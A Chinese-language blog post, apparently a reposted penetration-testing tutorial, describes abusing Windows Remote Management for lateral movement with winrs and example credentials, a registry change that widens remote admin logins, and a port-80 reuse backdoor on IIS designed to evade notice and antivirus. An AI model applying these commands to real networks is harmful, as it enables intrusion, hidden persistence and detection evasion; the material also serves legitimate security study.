暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

winrm在内网渗透中的两个利用点

老王安全 2022-09-08
2276

注意事项:该文章只作为合法的安全研究与测试中的参考资料,严禁私自用于任何非法途径,因此如果造成任何的后果,均由读者自己承担。

 

同时也十分欢迎师傅们一起交流学习,如果有任何细节出错,也望师傅们指正

 

本篇内容将介绍WinRM的两个利用点

①利用WinRM进行横向;

②利用WinRM进行预留端口复用后门

什么是WinRM


WinRM是很早之前微软推出的一种新式的方便远程管理的服务Windows Remote Management的简称,相比RDP远程桌面协议,WinRM这种服务更具备轻量、低宽带的特性,WinRM与WinRS(Windows Remote Shell)的使用可以让远程连接的运维人员拥有CMDShell环境,通过命令执行对服务器与服务器数据进行管理。随着运维人员的任务量的增大,RDP的图形化界面让服务器管理更轻松,WinRM在日常的使用中逐渐被淡化,在开启该服务时,防火墙默认放行5985端口,所以在安全测试人员中,WinRM服务也成为常见的后渗透利用点之一。
服务默认端口:
5985

HTTP
)与
5986
(
HTTPS
)
WinRM默认只存在于 Windows 7 和 Windows Server 2008 之后的所有版本中,但在 Win7, Win8,Win8.1,Win10 这类单机系统默认安装了但不启用这个服务,上述版本仍需要在本地进行命令执行进行配置,Server 2012之后的版本才能直接正常使用,以下操作都是以管理员权限进行操作。

 

以下命令是用于笔记快速复制利用,至于命令什么时候用与怎么用,文章下文将会介绍。

    1、基础命令使用:
    #面对Win7/8/8.1/10/Server 2008/Server 2008R2的目标系统主机中需要执行下列命令对服务WinRM进行配置
    winrm quickconfig -q #快速配置WinRM服务


    #Windows控制主机下所执行的命令,进行对目标主机WinRM服务的连接
    winrm quickconfig -q #快速配置WinRM服务
    winrm set winrm/config/Client @{TrustedHosts="*"} #信任任意连接主机
    winrs -r:http://192.168.52.132:5985 -u:.\Administrator -p:123456 cmd.exe #调出目标主机上的CMD交互环境
    winrs -r:http://192.168.52.132:5985 -u:.\Administrator -p:123456 ipconfig #执行ipconfig命令
    winrs -r:http://192.168.52.132:5985 -u:.\Administrator -p:123456 powershell.exe #调出powershell环境
    reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system v LocalAccountTokenFilterPolicy t REG_DWORD d 1 f
    #修改注册表的LocalAccountTokenFilterPolicy值为1,允许WinRM连接的用户权限
    2、预留端口复用后门命令(在预留后门的主机下执行):
    netsh http show servicestate #查看在HTTP.sys注册的URL前缀
    winrm e winrm/config/listener #查看WinRM监听端口信息
    winrm set winrm/config/service @{EnableCompatibilityHttpListener="true"} #新增WinRM服务的80端口监听


    winrm quickconfig -q #快速配置WinRM服务
    winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"} #修改WinRM的默认端口


    #利用后门进行命令执行与基础命令使用的步骤一样


     

    WinRM远程连接操作


    测试环境:

      失陷主机 Windows 10教育版 192.168.52.132


      目标主机 Windows 10教育版-克隆机 192.168.52.131

      在笔者测试的过程中,使用的是虚拟机的仅主机Only host模式,无法配置WinRM服务(需要在专用网络或域网络中才能正常配置),所以说在这里笔者采用的方法是将两台主机加入到域环境中进行测试,可以有效解决这个问题。

       

      利用条件:

      以下操作均以管理权限进行,无论是在Cobaltstrike、webshell终端下进行利用均可,而且杀软/EDR不拦截cmd.exe、winrs.exe、powershell.exe的执行 

       

      在所控制的主机192.168.52.132 下进行配置:

        命令:
        winrm quickconfig -q #快速配置WinRM服务
        winrm set winrm/config/Client @{TrustedHosts="*"} #信任任意连接主机



        目标系统主机192.168.52.131下的配置(如果是Server 2012可以直接使用,这里配置目标主机是为了演示操作):

          命令:
          winrm quickconfig -q #快速配置WinRM服务


          测试是否可以使用命令操作(在操控主机下进行)

            命令:
            winrs -r:http://192.168.52.131:5985 -u:Administrator -p:Aa123456 ipconfig #执行ipconfig命令
            winrs -r:http://192.168.52.131:5985 -u:Administrator -p:Aa123456 cmd.exe #调用CMD命令行


             

            笔者这里使用的是目标的Administrator用户,在WinRM远程连接中,还受到注册表中LocalAccountTokenFilterPolicy值影响,在系统中,该LocalAccountTokenFilterPolicy的值默认为0,在这种情况下,只有系统默认管理员账户Administrator拥有凭证可以进行对主机的连接本地管理员组的其他用户登录时将会显示“拒绝访问”,如果用其他本地管理员组的其他用户进行登录,我们还需要修改注册表中LocalAccountTokenFilterPolicy值为1,命令如下(在目标主机下执行):
            reg 
            add
            HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system
            /
            v LocalAccountTokenFilterPolicy
            /
            t REG_DWORD
            /
            d
            1

            /
            f

            LocalAccountTokenFilterPolicy值为0时,管理员组用户Adminxd登录失败:

             

            LocalAccountTokenFilterPolicy值为1时,则登陆成功:

             

             

            细节扩展:

            在域环境中,无论目标主机下LocalAccountTokenFilterPolicy的值是否为1,只要是域管理员都具有连接凭证,目标主机允许域管理对自己进行WinRM远程连接,还有一种情况就是普通域用户被管理员添加到本地管理员组,这时候就算值为0关闭状态,也可以默认bypassuac,拥有WinRM的远程连接凭证,可以成功连接。

            尝试利用域管账户testadmin进行测试:

             

             

            WinRM端口复用后门的利用


            原理该手法的原理是WinRM远程连接服务结合服务容器IIS重要组成驱动HTTP.sys(负责处理HTTP协议相关数据),HTTP.sys可以提供Port Sharing端口共享的功能,如果有其他服务是基于该驱动进行,则符合条件的服务可以与IIS服务器的WEB端的80端口进行共享,而WinRM服务就是在HTTP.sys上注册了wsman的URL前缀,WinRM服务默认端口为5985。
            注意:这里的利用前提是IIS服务器下,因为HTTP.sys只存在于IIS这个服务器容器类型中,可共享的是80端口,共享时不影响原80端口的WEB服务。

             

            端口复用后门可以分为两种情况

            1. IIS服务器主机原本已经存在WinRM服务并开启默认端口5985的监听,为了隐匿性,而采用新增监听80端口

            2. IIS服务器主机未启用WinRM服务,为了隐匿性,将WinRM远程连接默认端口5985修改成80端口

              测试环境:
              Windows Server 2008 R2 Datacenter
              Windows 10 教育版


               


              第一步、在利用端口复用后门之前,我们先对服务器进行信息收集,执行以下命令:

                winrm e winrm/config/listener    #查看WinRM服务监听端口信息
                netsh http show servicestate #查看在HTTP.sys驱动上注册的URL前缀



                在Server 2008版本下,已经开启了IIS服务80端口但没有开启WinRM服务,此时我们将按照情况②的手法来预留端口复用后门,修改WinRM服务默认监听端口。
                  winrm  quickconfig  -q    #快速配置WinRM服务
                  winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}
                  #修改WinRM服务默认端口为80端口



                  第二步、使用Win10对目标DC Win2008进行WinRM远程连接,这里用的是域管理账户,默认拥有整个域中的WinRM远程连接凭证。
                    winrm quickconfig -q    #快速配置WinRM服务
                    winrm set winrm/config/Client @{TrustedHosts="*"} #信任任意连接主机
                    winrs -r:http://192.168.52.138:80 -u:god\liukaifeng01 -p:Aa123456 ipconfig


                    另一种情况:如果像Server 2012已经启用80端口与WinRM服务默认端口5985,为了隐匿性,我们可以新增一个WinRM监听80端口,这时候我们可以通过80端口进行连接,避免连接5985端口引起不必要的注意。

                    原先服务器已经启用了WinRM远程连接默认5985端口:

                     


                    新增一个WinRM服务监听80端口

                    winrm 
                    set
                    winrm
                    /
                    config
                    /
                    service @
                    {
                    EnableCompatibilityHttpListener
                    =
                    "true"
                    }
                    #新增监听
                    80
                    端口

                     

                     

                    新增监听80端口后,成功利用Win10进行远程连接目标80端口,5985端口与80端口都可以成功执行命令。

                     


                    在实验的过程中,无论是在对目标机进行WinRM远程连接时,还是笔者在物理机配置WinRM服务时调用了CMD和Powershell时,360都没有进行拦截(powershell.exe与cmd.exe不在白名单里),主要是因为api的调用不同,所以说可以规避360的拦截,360默认不拦截winrs.exe的执行调用,从而可以绕过。
                    无论是在本地对目标,还是目标对本地,360都不拦截。

                     

                    思路扩展

                    在域中,域管理账户在域内主机中登录,会自动将域管用户添加到本地管理组中,如果是将普通域用户添加到系统本地管理员组,两种方法是默认bypassuac的,这时候域管理账户与普通域用户是拥有WinRM远程连接的凭证,无需要修改注册表就可以使用WinRM进行远程连接,所以说当我们在内网中进行喷洒密码成功或是说通过信息收集、记事本等手段收集到了域管理或域用户的账号密码时,如果面对3389未开启,psexec 和 wmi这些都被拦截了,满足WinRM的利用条件时,我们可以尝试使用WinRM进行横向,当面对Server 2012以上时默认是启用这项服务的,端口复用后门也是一种常用的后门手段之一,具有一定的隐匿性,尤其是当对方IIS开启80端口时,跟IPC横向一样,在一些情况下具有奇效。
                    有些管理员会图方便管理,资源更好的共享,将普通域用户加入到本地管理员组,这时候我们利用普通域用户可以成功执行WinRM连接,在安全测试中可以尝试一下。
                    普通域用户testuser:

                    普通域用户testuser添加到本地管理员组,并关闭除系统内置管理员账户Administrator之外的管理员用户进行WinRM远程连接。

                     


                    利用普通域用户testadmin,成功执行!!


                     

                    这里有个工具evil-winrm可以PTH到WinRM服务,当我们面对无法破解的强密码的时候,可以考虑使用这个工具进行PTH,可以自主研究一下。

                    地址:https://github.com/Hackplayers/evil-winrm


                    文章转载自老王安全,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

                    评论